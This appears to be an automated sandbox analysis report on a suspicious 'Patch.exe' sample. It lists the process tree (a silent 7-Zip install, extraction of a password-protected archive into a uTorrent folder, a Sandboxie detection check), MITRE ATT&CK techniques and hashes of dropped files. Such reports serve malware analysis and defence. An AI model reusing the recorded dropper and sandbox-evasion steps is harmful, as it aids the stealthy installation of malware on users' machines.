    reg query "HKLM\SOFTWARE\Microsoft\Alu" /s /reg:32
    3⤵
    PID:6388

C:\Users\Admin\Desktop\Patch.exe
"C:\Users\Admin\Desktop\Patch.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3652
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\4CSPGM55.bat" "C:\Users\Admin\Desktop\Patch.exe" "
  2⤵
  PID:544
- - C:\Users\Admin\AppData\Local\Temp\qbE5F941B.96\7z2201.exe
    "C:\Users\Admin\AppData\Local\Temp\qbE5F941B.96\7z2201.exe" /S
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - Modifies registry class
    - Suspicious use of SetWindowsHookEx
    PID:6344
- - C:\Program Files (x86)\7-Zip\7z.exe
    "C:\Program Files (x86)\7-Zip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\qbE5F941B.96\uut.7z" -o"C:\Users\Admin\AppData\Roaming\utorrent" -pjkfhkfgjhkHGFGgdjghkdhggd -y
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetWindowsHookEx
    PID:5416
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Done! "
    3⤵
    PID:6752
- - C:\Windows\system32\msg.exe
    msg *
    3⤵
    PID:3440
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic path win32_LocalTime Get Day,Month,Year /value
    3⤵
    PID:5480
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_LocalTime Get Day,Month,Year /value
      4⤵
      PID:2008
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq SbieSvc.exe" /fo csv /nh
    3⤵
    PID:6736
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq SbieSvc.exe" /fo csv /nh
      4⤵
      Enumerates processes with tasklist
      PID:800
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Alu" /s /reg:32
    3⤵
    PID:5160

C:\Windows\System32\NOTEPAD.EXE
"C:\Windows\System32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\4CSPGM55.bat
1⤵
- Opens file in notepad (likely ransom note)
PID:6052

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Config.Msi\e5bb807.rbs

Filesize
16KB

MD5
4886ec66fea875678f7de8506a6cc5f6

SHA1
986a855813f107f06fe7025ab5fe90709d5470b0

SHA256
b8427c2fdf10f480faae96e2c13454d42350132c17a28ff65e752b90a2bf03bc

SHA512
bdf61d202839ac277201cd764b623723cf0e30988edc3664d6eb193f56493c9d4ac14db426e274d8d8bc4840e0468bf5a7701bd33a538b925437cb7ab7b2143b

Download Submit
C:\Config.Msi\e5bb80c.rbs

Filesize
18KB

MD5
34cf70c6da6bb1cf5259f8cfe5efb8a8

SHA1
f5bf65f5a1145521a0deeef6506a4e333b1ab1d1

SHA256
75e93c96e17b6d570281ae99fa5fea7c3ac3d5e09b8e8d00419f52463e8c45d7

SHA512
cd32556255f33f36564b9751caac511ce5fa95e8e656be6c02cba5f2e94a68fb4d73e632374803c030d41f1fa4e57cb3fc29e33c568517f24c39228ea1d7a626

Download Submit
C:\Config.Msi\e5bb819.rbs

Filesize
20KB

MD5
06038bd34bf1c8e988ace5be446d0926

SHA1
d683d8a208b2e2305dbeefd2726d5bd2203cb596

SHA256
42a7848e7fce7368a0264ddb269d87869fb5055f923891dd04c241499db46c26

SHA512
47c55c90aecce8e46e0f80cb3d9ab65fb9a417507737012b1cc7ade000ab8bdc6cb6b4a0458b07370b90451d0d98c8a0a990d7c911869c07301ad2d1ebada1f2

Download Submit
C:\Config.Msi\e5bb828.rbs

Filesize
19KB

MD5
d16468e1723d2107b5dc33568494d5f2

SHA1
27168c0e66214e7b1ab11ec4d5cb9f114511025b

SHA256
6f8faf4d46394dead8bcd9a09830c946fad90b3766669ccf4804a57c0347636e

SHA512
6cca8a59bb678ce95ccd8681cf2eb16033d28a4a62bf1b1d55125e1759f2321994a6efdb6de5f9c6910d422efeb44bd535f7ee1cce5cc653ef85255d32392e88

Download Submit
C:\Program Files (x86)\7-Zip\7-zip.chm

Filesize
111KB

MD5
34208890a28244903621cd32cc3fbdfc

SHA1
15fe9d3706366011749707f2b4868bcf2f77c6cb

SHA256
4b6939646570c9ddb5bfd39b8503eed99d8c64337e72f6dd4f9ddcfb4ac76703

SHA512
25239239bc7e134dcc371d420d34a3f10f83f239fcd1e73d7de8123fc24c6cd8acaf17c5bee456a15dcf296dc1dcbb7fa1e4df505614bde676661789dc63048d

Download Submit
C:\Program Files (x86)\7-Zip\7-zip.dll

Filesize
61KB

MD5
8d46b86e8a60ae61796c6a95b4acbe5f

SHA1
f94fd98d504b4654b5dd8cbc244f755f07a4ec99

SHA256
6c5de0800ef7a46174ce4f6eb4703a4b69369e8652d43f9337fba72eafdf86b4

SHA512
25e4bacd553f2b1844f4a7fb63f17ebf739c4ab1a861f418c1066ec2244f0848695b31fa3a4d8da5aa7eee436045cc94da508b9494a2ffc086e9843b1e648613

Download Submit
C:\Program Files (x86)\7-Zip\7z.dll

Filesize
1.2MB

MD5
a65e53c974a4e61728ecb632339a0978

SHA1
27e6ec4f8e34b40f1e08503245700c182b918ce9

SHA256
ca8ab5aeef734f24a3c58bf10b3f0152c2ea1329b02d2730448693df563b4c6a

SHA512
b029962f08867496cd3fd5e9af4b0703dae918e938aee759aeffbb4184ea6d3e81e0878ba8957e80d30db5d7b6fc8598e68918a4d16b3d010f31a2e16417593e

Download Submit
C:\Program Files (x86)\7-Zip\7z.exe

Filesize
329KB

MD5
62d2156e3ca8387964f7aa13dd1ccd5b

SHA1
a5067e046ed9ea5512c94d1d17c394d6cf89ccca

SHA256
59cbfba941d3ac0238219daa11c93969489b40f1e8b38fabdb5805ac3dd72bfa

SHA512
006f7c46021f339b6cbf9f0b80cffa74abb8d48e12986266d069738c4e6bdb799bfba4b8ee4565a01e90dbe679a96a2399d795a6ead6eacbb4818a155858bf60

Download Submit
C:\Program Files (x86)\7-Zip\7z.sfx

Filesize
211KB

MD5
1ffec2a95db8f1fa25d3b275261728b4

SHA1
123fbcc9e2e35b5782ae19bb18e8f8ebdb2fc29b

SHA256
dd9dbe58cd2f798b432d9ba9bbffe13d08bf9dc18c9b6a6ecf4ba71b238677e3

SHA512
4bd65e5edf3aa9bd6271b0abc17080bfdfca62e0ac1a927ccb01e358dc21c0f7ad3790c02fc2d2a07fb836ce8af471b035adafa12d4c703c2a1745f35fd1114a

Download Submit
C:\Program Files (x86)\7-Zip\7zCon.sfx

Filesize
191KB

MD5
e0eb40842ca3a05b93e8fcf19f0bcc16

SHA1
01f14ac781463066de363e63039b6b5c80e7a2d2

SHA256
32decd776fc0020d399adcea54ff1b338110514e598a2788b4d9d7ea82582445

SHA512
3981e7c761ec81cb1b18e46b82355cb8b160028fca0f5b7159cd9fcab3824172cf496da57518ce9344351d49d576eea0e1d09b54e1d5fbf2da882ffa8061a7d9

Download Submit
C:\Program Files (x86)\7-Zip\7zFM.exe

Filesize
574KB

MD5
bbb2667d9b2fd922e52883a63e8cd948

SHA1
d4238ac5e2eb3ec7236e5e098ee3b31d26efebee

SHA256
69392e292a0e7195e0c96bbbfe989949d044b63dbce2e5324f1bb99aa2560e3f

SHA512
2f801ae372ca3fc4cd858b6d1783977c8357e5616f45311ffff70b3eee20490f2c6e34a12139a6c0b9faaaf6e59985fabc1cae22510e6b632bae425a58793681

Download Submit
C:\Program Files (x86)\7-Zip\7zG.exe

Filesize
421KB

MD5
712214d53808934bdf7403c5aeee6eee

SHA1
7cea31347ea373ca74c62302b95fd3ceedc55f39

SHA256
b6e34a76d87cc95fddee2fbb41b22e11eef6a4df10a7ecbba03942030eeec07e

SHA512
eb22bdb3825d63ecc1cf2b6db41cd719b85b8820019949eb921aed670adcb0f5c782c4393c9b6492bfbab6e51848b96d15d63399d4c723787ea98ce91d8eb532

Download Submit
C:\Program Files (x86)\7-Zip\History.txt

Filesize
54KB

MD5
b1206a5abf93bc64601a3caa2dff47d4

SHA1
8f3ec5931b77f0841522324fb1202599b396e45a

SHA256
24a8a7c00f0bb8ac3096f58f53bd47fa392b8d220c1c43d372100bd692c68e5f

SHA512
6b13003fe209885f377ed93340a2472b936bc5699ed9e645f40a9dacc647d9aa280f78c991805b9646861fa4ca1e85e9799c3868daead643e21a9b351b2663f9

Download Submit
C:\Program Files (x86)\7-Zip\Lang\af.txt

Filesize
5KB

MD5
fbbe51acb879b525cc6b19d386697924

SHA1
a030539bfe976e02f9540993e746c35e288834cd

SHA256
3793fb69ee9fd958cf15a272b1ed54e4b3d75592836ebcd085dc0e7b1400d1cb

SHA512
3fee44a909cad9b620fdd850a31d70e762a834524d8ed61490e243c8df40eaebd5b8e0ee5243efd924714e49376eaa024b8ed4bc70b1b7d50d5c6695b03f12be

Download Submit
C:\Program Files (x86)\7-Zip\Lang\an.txt

Filesize
7KB

MD5
bf8564b2dad5d2506887f87aee169a0a

SHA1
e2d6b4cf90b90e7e1c779dd16cbef4c787cbd7cf

SHA256
0e8dd119dfa6c6c1b3aca993715092cdf1560947871092876d309dbc1940a14a

SHA512
d3924c9397dc998577dd8cb18cc3ea37360257d4f62dd0c1d25b4d4bf817e229768e351d7be0831c53c6c9c56593546e21fd044cf7988e762fb0a04cd2d4ec81

Download Submit
C:\Program Files (x86)\7-Zip\Lang\ar.txt

Filesize
12KB

MD5
1c45e6a6ecb3b71a7316c466b6a77c1c

SHA1
04bf837911fa31ffca8e034158714b47f6489d38

SHA256
972261b53289de2bd8a65e787a6e7cd6defc2b5f7e344128f2fe0492ed30ccf1

SHA512
5358bb2346c9f23318492b5e7d208e37a703c70d62014426eadd2dd8cda0b91c9d9c2a62eafe0137faefb38bf727fd4d5d8dc18394784ccae75ae9550558e193

Download Submit
C:\Program Files (x86)\7-Zip\Lang\ast.txt

Filesize
5KB

MD5
1f86ae235bc747a279c9e9ec72675ce4

SHA1
4a67757fa535978021d794d8d2392d3028350686

SHA256
8fcd1b8ce6fed05f406c4b81aea821132800bc494d3fd6f42a4258a81f8998ec

SHA512
216500b5451b84a4882729307b6ea952688550e109a0afbb0d67db0f882f642e5d9e8dd2fc86591c4b2d49658fc7434294cadcd1d2322119fbd1f46190efb7e5

Download Submit
C:\Program Files (x86)\7-Zip\Lang\az.txt

Filesize
9KB

MD5
81b732a8b4206fb747bfbfe524dde192

SHA1
4d596b597cf25ff8d8b43708e148db188af18ef9

SHA256
caec460e73bd0403c2bcde7e773459bea9112d1bfacbe413d4f21e51a5762ba6

SHA512
8667bff18a26fe5b892ecfdc8d9c78ecc5659b42c482e1f9e6eb09f7cf5e825584851cd4e9a00f5c62d3096d24cc9664f8223c036a4f2f6e9c568269b2fbb956

Download Submit
C:\Program Files (x86)\7-Zip\Lang\ba.txt

Filesize
10KB

MD5
d83b65ac086da0c94d6eb57bee669c2b

SHA1
6210f62d41d44cc280f44b39accf10da28424b75

SHA256
2901b54f7621c95429658cb4edb28abd0cb5b6e257c7d9a364fc468a8b86baae

SHA512
56c7ecb4223103d81ffd11c214cceac20e7770b82fbc78a5e82e6dd9d589cc319d4689bb6d9027e5d272097e1b33ddba27a8414fcbc29f9ef68329e343004222

Download Submit
C:\Program Files (x86)\7-Zip\Lang\be.txt

Filesize
11KB

MD5
3c21135144ac7452e7db66f0214f9d68

SHA1
b1ec0589d769eab5e4e8f0f8c21b157ef5ebb47d

SHA256
d095879b8bbc67a1c9875c5e9896942bacf730bd76155c06105544408068c59e

SHA512
0446a0e2570a1f360fd8700fd4c869c7e2dbb9476bbdec2526a53844074c79691542b91455343c50941b8a6d5e02a58ee6aa539cc4c4ae9cf000b4034ef663e2

Download Submit
C:\Program Files (x86)\7-Zip\Lang\bg.txt

Filesize
12KB

MD5
833afb4f88fdb5f48245c9b65577dc19

SHA1
1a6e013226be42cd2d2872b1e6e5747fab65fe8a

SHA256
4dcabcc8ab8069db79143e4c62b6b76d2cf42666a09389eacfc35074b61779e3

SHA512
05bbc7abcfd0a0b7c3305c860b6372871cf3927bbe1790351485a315166e4cbdf8d38d63e01b677bdba251ce52da655f20b2d44b997d116a1794c7b3eb61ef31

Download Submit
C:\Program Files (x86)\7-Zip\Lang\bn.txt

Filesize
14KB

MD5
d0e788f64268d15b4391f052b1f4b18a

SHA1
2fd8e0a9dd22a729d578536d560354c944c7c93e

SHA256
216cc780e371dc318c8b15b84de8a5ec0e28f712b3109a991c8a09cddaa2a81a

SHA512
d50ea673018472c17db44b315f4c343a2924a2eaa95c668d1160aa3830533ca37cc13c2067911a0756f1be8c41df45669abe083759dcb9436f98e90cbb6ac8bf

Download Submit
C:\Program Files (x86)\7-Zip\Lang\br.txt

Filesize
5KB

MD5
c2eb67d788756be5ecaa0a8cfb3d1e0b

SHA1
0636e7fba4ec0fd12f93347451b5690c7b0bf788

SHA256
0f6bf6749c42c844980db32ee56cadc987ce245ef650bc7d626d56468a7cbe6a

SHA512
0f98317078723d35553f8252ff9e37a997c90276fbb18359247aa257fc7630b7f6a0c6f6b02ac0a06afd33cca56c77a01494e04fc1a4ce43ded0d40f9f18dd42

Download Submit
C:\Program Files (x86)\7-Zip\Lang\ca.txt

Filesize
9KB

MD5
1657720023a267b5b625de17bf292299

SHA1
0045dfafafb9c9058f7d0d6a6c382959c5a67fe0

SHA256
ed8748da8fa99db775ff621d3e801e2830e6c04da42c0b701095580191a700a6

SHA512
e7998f6484370e53db9cdc80cd55070e408aa93161fa59e48c6e2b26462d6d3eb774c011212840ef1eb821a5ba067b6706cd4ca2be00619aecd24a11e6ca136f

Download Submit
C:\Program Files (x86)\7-Zip\Lang\co.txt

Filesize
11KB

MD5
8e9eba50a1fd7469d183a3cf4e806bb3

SHA1
8e050793f37b367551632f8c41486fd39beb8ad0

SHA256
0f485681c606f422f6eb7311a1f151873b47eed2832a129c2550b868e6610cd9

SHA512
182a10522bc4702361b2cd6f84b305b1f5d95e1788fda8eaf0e20f3d0d217f9afd7c6a1892ff60584eefde217d93fc87a03e52450e02ab770ffa29151c48462e

Download Submit
C:\Program Files (x86)\7-Zip\Lang\cs.txt

Filesize
8KB

MD5
641b90f9aedfc68486d0d20b40f7eca6

SHA1
0a683dd844534905336784fadd80498afe26f6fa

SHA256
87a4b9369fd51d76c9032c0e65c3c6221659e086798829072785be589e55b839

SHA512
567cb9f6c31d196a171e5a9c2726a39a9b3d351ac92d4acf8624213a68c9033acc31afaaad82aa9f5359f32d3a0ca40522e151b8370d553a41abeb6a6e097078

Download Submit
C:\Program Files (x86)\7-Zip\Lang\cy.txt

Filesize
5KB

MD5
0f5662a68805d859f871edc07e766a57

SHA1
aa4c9c1271fd5ffdc6076ddfe157d9fb8e0018b8

SHA256
931de741a6c8f1348a946623776fe36c55dd2fc384c7b1478225f7467853199e

SHA512
cb8c072a8f6c782b678845e156493ac3b2e29a0821e2939aa5119f28289c0e70dd70eb3f7e4832bdb5e8ac1f486a3d7900ec013a637ed117320b96740f37a8f1

Download Submit
C:\Program Files (x86)\7-Zip\Lang\da.txt

Filesize
8KB

MD5
d8aba2da47c1031832957b75a6524737

SHA1
b83069ef9f7a08f18804ae966b8d18657e2907cd

SHA256
f65026ae33d4302a7ef06a856f6f062c9730100f5a87d5c00fb3feaf5fcd5805

SHA512
82b5f4ab8e3e2310a98be87b5cf2cbf04b7aeae1798cd69529325ee74add40bdca38eda865a821f66436906d4f3224004f690cf406b532e116475d2b2424b570

Download Submit
C:\Program Files (x86)\7-Zip\Lang\de.txt

Filesize
9KB

MD5
40ae22f5bcbeab6f622771562d584f2b

SHA1
4eaa551055ccfa0076766b7bdf111de9dbcc1c82

SHA256
06e5265a2b30807296480dc0b0d3a27e41f1381d61229e4eb239c4930d14a43e

SHA512
581a94dc12fe48aebfd88453351697aed9de5b1decf4c5dd53cf4db38d50727d3b887498f0bee6bd532cfbdc8af7bc01fc8d58ce0c3f6fac235bc6ff3f843125

Download Submit
C:\Program Files (x86)\7-Zip\Lang\el.txt

Filesize
16KB

MD5
812df218dae08f9f883a7455015707b2

SHA1
6e7d7d1c8e783b9b913f44df515f4d376d3502c4

SHA256
cf90a21c69a13e0d674b6b74e2904f7d9d3bee594d89862155d94105311f47a7

SHA512
51c3c6151b47fa5e3968604cc2385c5d0984ccb96b8f92982bd28440786e1b99826aa70ae1232465a3469ddb6c50d13a241b6a979387eb47bff013953db1ed07

Download Submit
C:\Program Files (x86)\7-Zip\Lang\en.ttt

Filesize
7KB

MD5
72ea78fc93365651aa4222b6ebf31bf9

SHA1
9a2a5a2879e30dde4571f75eb00f95f58226c768

SHA256
4d6405dc6f93c00fa7eff8bbcac256d079ff56c5d0edaac41bb1a80c0ab2fecd

SHA512
61d5a60b26162ea6218a256e7f5c31d2aba4c24563d0a075cff280e683b6be61209042bd5f85e02ee6c4b5156d7f894934b6755f17594aede5199edb01f63fd2

Download Submit
C:\Program Files (x86)\7-Zip\Lang\eo.txt

Filesize
5KB

MD5
53bc9385d0ea9e7e601bbe9b2cd5e3cf

SHA1
2ad5323c3f8340027a19ca63c46072cff56505f2

SHA256
d598733b1dd7fa37fd156348bc2bae5549dbd6c709125d1d40f43eff6bec2445

SHA512
354c841c73662b2529fba4f10b802102b9f2d87446c7e68f02c96a19265621c250fc0fbf27ca746d27da7d06d56e1d6f2a7ff6f990680afd5290778d7ea28ab4

Download Submit
C:\Program Files (x86)\7-Zip\Lang\es.txt

Filesize
9KB

MD5
5a449308a0176d6401181bef4af13765

SHA1
9d8bc3e801bcfb43c7dbfab94ab91a4079a2070f

SHA256
7dddae25296f14c1f45ac032d9c950c3a8d39a41489f9d2b06000edcfa7a6660

SHA512
2aebd25219b12d88bdf7a4a1b90b6b13b4ed5d4215e15d2316494c56b7d696eeb3252478200bcf0d84160d11979f5a71c72ca110dd3e28e901cfdb13255c45b0

Download Submit
C:\Program Files (x86)\7-Zip\Lang\et.txt

Filesize
7KB

MD5
54d610c174514d0f60b382249885963c

SHA1
4d2c22ba3da557a3e8641f8d5388123d96c8259f

SHA256
d3fc7e1dd6f0486c99997b75d9d8c5592da6cfb9b89c3ec4f59e7bc5826b3456

SHA512
80d51ce4dafa9967ddfa7a8bdf4f62351fa085a7059bc63f9427e0a5e70dc21cb917057f1a41b5e1a218138141dedcadf02e18a0f028ebee8316aaf4ad280d59

Download Submit
C:\Program Files (x86)\7-Zip\Lang\eu.txt

Filesize
8KB

MD5
29ec04893f6b2c9058a8f1e0beaf9081

SHA1
8e7b5a0ec24153aa7be02f0395c003df02cf6a09

SHA256
536d93ca6d7c96d203b51333c4e78de2429f78d32cc321461589626759c84127

SHA512
b84e6606a5f58392de5c5f8113db10b8212a82bb93367469284ad2dd9a961bf381e3d230179ec19a32cae7a266cdde7290d95a262dea247b267fdce905f89972

Download Submit
C:\Program Files (x86)\7-Zip\Lang\ext.txt

Filesize
7KB

MD5
f048977cdc74ff4d1f045fb3fd5d0118

SHA1
4d44f8644a0d41fdde9f7d7732b197a4ebb65dae

SHA256
3cd8b8633fbc076ee07bf58da6e01ab692df461381a2bad4ef5512c653da46e4

SHA512
48011fbffa45f8809fc6e7d1e8899ee29d4cc6be2cde36484301e71a3c3ffb85cca6cca6a9e9e79af5355b1309834f67d62100ad09aec852d152aca3688d129b

Download Submit
C:\Program Files (x86)\7-Zip\Lang\fa.txt

Filesize
13KB

MD5
6948e051256dcb49dd6e977a30c53881

SHA1
c9c65393ddac81447743d1348a0f45db88a8ded8

SHA256
1a368671bca4ebd97b9edeb84976ec208ceff1c251b93870ebcc9d35936faa06

SHA512
4e580b070a1ca26b1243c3c2b99bf14756ac59d1ca0f152f0e1f61feff35a8e7164029a387c069812c2959f69c2f11736902dd33e7254569603ad403b8d7c1e8

Download Submit
C:\Program Files (x86)\7-Zip\Lang\fi.txt

Filesize
8KB

MD5
7ac9d88f81aacef8759e510e9601a4b9

SHA1
249fe906a2d5a8e084cad76e3e67dad26c77bdb1

SHA256
24d66c5733314f3f72b7ca0f5ceb5a3246726dddefcf2f033715188edb062db5

SHA512
00b67a09cc101c557b7c9a5ea623e654407a953fe87ebb5786a7a2e8ba1944130ba4026a64bf83952a14e7a7c719f81351d8a84fe0b3fe9ba553e4796e7a7ec1

Download Submit
C:\Program Files (x86)\7-Zip\Lang\fr.txt

Filesize
9KB

MD5
b1b6e1c3cf5247ec1618a88f9853d54d

SHA1
0671cb77ad76f9e27237aa538f8efa6bccc40de3

SHA256
cc283e9b0c1822f757372c21f179710c4592a2f7755e706c48065bcfe70bba5b

SHA512
045422d358b3348a1e52cced12d70757a7e6026801113eb68f07a399acc75b6ecc9a1a4401cb7a65506c6f61d4fbb348765b0c80080072bfe06e0500cf31b0ac

Download Submit
C:\Program Files (x86)\7-Zip\Lang\fur.txt

Filesize
7KB

MD5
dfd698a0f6ed7bf405a8fdd6f33b2315

SHA1
a8cdbc14ad118c61d484cd62e8c4e7d1141fbb4e

SHA256
fc944eaa7883341372ebd5ef0e2f236ca248b2996a902240a75218541b600e72

SHA512
07c5cd9ededc00fc28f878d83d327d91a91edc236b51d05cd8171e43bb175072fe9bf0a4c89d09e21441d8192b08e5c3e5e156fa132b1c657715a5b7cb0488a6

Download Submit
C:\Program Files (x86)\7-Zip\Lang\fy.txt

Filesize
6KB

MD5
0111890c0137974fce2d79b6d22e5686

SHA1
98ab055fa8bf5f410cad55627424d6512338a4a1

SHA256
9fe460264af4abd9ff23eab79387ebb52b4498758645cd5721e75fd7b747e536

SHA512
86acdb4d62bf9c784bf21999cba5fa3674e70fe5647fdf1dc6a9c5b3cf9c182a18272d9c8400d997bb09e12c908e08a87a951c3d0156a134802e00f70dd1ad90

Download Submit
C:\Program Files (x86)\7-Zip\Lang\ga.txt

Filesize
8KB

MD5
b4295e254b9dfc90e0093188257c007c

SHA1
6ae9b959a752c32fab8407b3aa277f300165a579

SHA256
406669ecbdf562e773b9cdf831cf5f63c3dd1a012c3521a41227c9141511d959

SHA512
cc4671a9312b7f41ddecd2e02d038affd58bbc62363b811f15f10002c82ae826e060f5ad6e2b1fd75557b3dc3bbf12b6e6900b398623cf547e3727ccaa6bf8e1

Download Submit
C:\Program Files (x86)\7-Zip\Lang\gl.txt

Filesize
9KB

MD5
492e51b4b5b287fe2b90a5f0bd433847

SHA1
f7e1eba770d3d07d0e8c2bd61d556508ef0578b8

SHA256
54f676333ce58af67b839b0f0470f99f405b5ce7fdb9c345a19d00b6423277e5

SHA512
0aa1df55256324b24b495543e4abbefd776108bdd90d3155d02b1c10f018bdbd1700c4430848dfbd5073a374715f8510efb17ae1812a9aa44b65e50edb23de59

Download Submit
C:\Program Files (x86)\7-Zip\Lang\gu.txt

Filesize
17KB

MD5
410c8a33c66b4b2bc707e113d9c76914

SHA1
81a9f3618168dbecf309907ee74591ac3b1297b6

SHA256
9025d8a58e0c76b186c943ef8a73a1bba6c08945e346de14d3c255ccfa3a10e6

SHA512
a520cf2dc7e9f653bb08c93c657cb8e2d1142e86c3e0bacc44457cba5ede044e91ff01f55139c5aeb7b3f26e51724931ea2b2bb20a058c4b9d888a3ae8766021

Download Submit
C:\Program Files (x86)\7-Zip\Lang\he.txt

Filesize
11KB

MD5
1b53819f8d58fd734b5fd985756b557c

SHA1
8759783adbd62c6f32511313babb9d138fa0a150

SHA256
dcd061a0a7b29f55fa28d4396f60881836c2df07cd936412c476a7f149540cc4

SHA512
b7f0a16d9d02434e7d1c619768dc1d67c163ad6630c19630c405b5934311c41b65918c61dd5f27555cf5cf629411d57fe2ce04fc6c99a2272d4689b69a078e73

Download Submit
C:\Program Files (x86)\7-Zip\Lang\hi.txt

Filesize
17KB

MD5
a0fc3c3d880a54918d86b40ffda12f23

SHA1
34fb9f1b5a6731100466f66e193ab5028b3ec1be

SHA256
8cce5e5a846196dac3649483290160177f47d88a7dcf0e85acfd3131856a266a

SHA512
bd1f17d76699f177ce6df4b69f82dfa777a0ae20e243d5fed0605fe951a79d8ae54371b07eb30f075161c108f46be1ce21b162b66cc099c02adb6eb6d5e8f158

Download Submit
C:\Program Files (x86)\7-Zip\Lang\hr.txt

Filesize
8KB

MD5
a0a8a75560efcf15801c96e6d71becc3

SHA1
b3f7b92d2a13151a14b493108a50a8365c46f6a0

SHA256
a72f01215eba3be3af6659129dd20f7a42d74f1da08658a9c8ce8e303c3e8f64

SHA512
d730c0dc30a299b6bab1b8cfae64d8d4bdea121e651641f578b0947bf5f67669f342ce20198b26fe7881ec99baf290695bc460828198a997b4e59ec91396c217

Download Submit
C:\Program Files (x86)\7-Zip\Lang\hu.txt

Filesize
9KB

MD5
eebea9c4e71a5d2820f5e8972822800f

SHA1
e9f5e741995bf92266e5b6d6891896e5b9cc1f42

SHA256
ef79e98fc911e0d0d16bd061a65f50f5e50caa011699852e1608a2629b8ba37d

SHA512
01b4bd586a1b2629b94dab877510110e6fa1286eb9cdf7882539d42466609d830489ba450e7e7cc41958f463227f5376151f912591aa88c7866182374ed574a5

Download Submit
C:\Program Files (x86)\7-Zip\Lang\hy.txt

Filesize
13KB

MD5
1362c3c286cff992117d5466bbe284f6

SHA1
faf50ecdb6db6cd6ba9e0ae18e7fad64511048c7

SHA256
d8f60bf92541d20d01f6ddd56d49f25519303fd16e285e18080be6815b74b8a8

SHA512
1834fe901b1182b793872e2a822801966abdf312873e15877e589b9c6a58d04e06a2c60b26d2209fe7048f7ea9befe0f6b39630eb4c5578a54735b6840677205

Download Submit
C:\Program Files (x86)\7-Zip\Lang\id.txt

Filesize
8KB

MD5
73b9f189f0c37d7cf37df8db89fb52af

SHA1
060ad5b22f8dd408260b7210392c0a6f6271fbff

SHA256
18c4531e9fc00ed242f1c0526dbcd0a3d1ada9bcfee651ae950328ac872a216f

SHA512
f8dca8e9aecbaa7fd596535fb792314253814098c1089262ed36e78960ffebe377c6436354228a9b4e17bb87fa6e1833110fd843c63bbce3294262b623df86e0

Download Submit
C:\Program Files (x86)\7-Zip\Lang\io.txt

Filesize
4KB

MD5
df8bd55b7a296da48c8705e1d00bad7e

SHA1
a77adf8befce2ab506c2fc728df2d0725983af95

SHA256
60eda200d8d995626fdfb1d523f02a9aa538ce5e8ee5028b41293f615a9d451a

SHA512
c3abbc52ed7b331681e2ca1ea260dc54ed93854799839ec5e724439368e970f09a145bcdb0b638099fa3c8dbedb21b2ef69196b35565a597e45606491b5d5642

Download Submit
C:\Program Files (x86)\7-Zip\Lang\is.txt

Filesize
8KB

MD5
f361950b7d1bb073ef48ca729b7ed5ea

SHA1
8c5d3fb8e09c9682c6256f05f82ca67c58f0ff2b

SHA256
f4f9d6dfd36512f027452499b083ad0656df6503ce03e4e4cc45b925f1f1d678

SHA512
6163fb77d3155525a563ad907cdf48fa18a6ce019a073c7d9dc2438927217d0d8534ada7fc444114f14ac216c89d12e83f5b582021be693baec80bd69199909e

Download Submit
C:\Program Files (x86)\7-Zip\Lang\it.txt

Filesize
9KB

MD5
9a932d9f4fe81f10bae4f9647896c814

SHA1
82bc53850f22e65bdab370b9c09d6f59850233e1

SHA256
b844b4690421478cfb218a32a28665470d1505a65c724ca3f0d40e8ca313ecb5

SHA512
db41cfd6d3b559d187edbca4c5343c706e91fa73a43e00d9c56c975211f7615a284ac6f2c7e69fcffb790c6e9c02d34356afaba895f88cc785605727d6578cf4

Download Submit
C:\Program Files (x86)\7-Zip\Lang\ja.txt

Filesize
11KB

MD5
1e121ab29c3388a0629568d98c25e9e8

SHA1
cb45ca908d31a2373d2a45ecafa758befdbbc363

SHA256
d86a3453713fbea8f8d1077589404ff4792362fc1999a2d4b1bd3392180fb7d1

SHA512
897d04f659d691646791911bf1694ef531f1e90a995ac844fbcddd81e2b3bd73d32b53c5b4427c2b506f6790a4807ea042e85f0e13f810ffd415dd0a519d40e9

Download Submit
C:\Program Files (x86)\7-Zip\Lang\ka.txt

Filesize
17KB

MD5
eb2af4dc4c28275ae1876523944d708e

SHA1
bfb87569112a081a99ecd5bfdcc6f2aead07f67b

SHA256
b78defec49d07120b74c2172f3e07540314771b16729c6bbfc3a1902ece2eda0

SHA512
e04680a6050fc6b3d0bf50a092f5fe2049bedf705f479fb5c45852e4cc19d1b735b85166da15ea67dbeb3aacf39dbe6c80eda9d4c180805d87762468875ab49a

Download Submit
C:\Program Files (x86)\7-Zip\Lang\kaa.txt

Filesize
7KB

MD5
dfba5c2185e113eef167a5e21c32df76

SHA1
e36703d7d1954e3f1729a0497674ec15c41a2f76

SHA256
4d631602ce3d0c4d9162af6bf56a90c8eef75a24d556b729191b62f79aba0681

SHA512
3271b66114bd6f145693258c5e84a175acb3db865169734a9beb5de7f9aefd06b4144650dc0e98fd47dd38ad3cabd26415640cddc8ac611c23d14487e975fb70

Download Submit
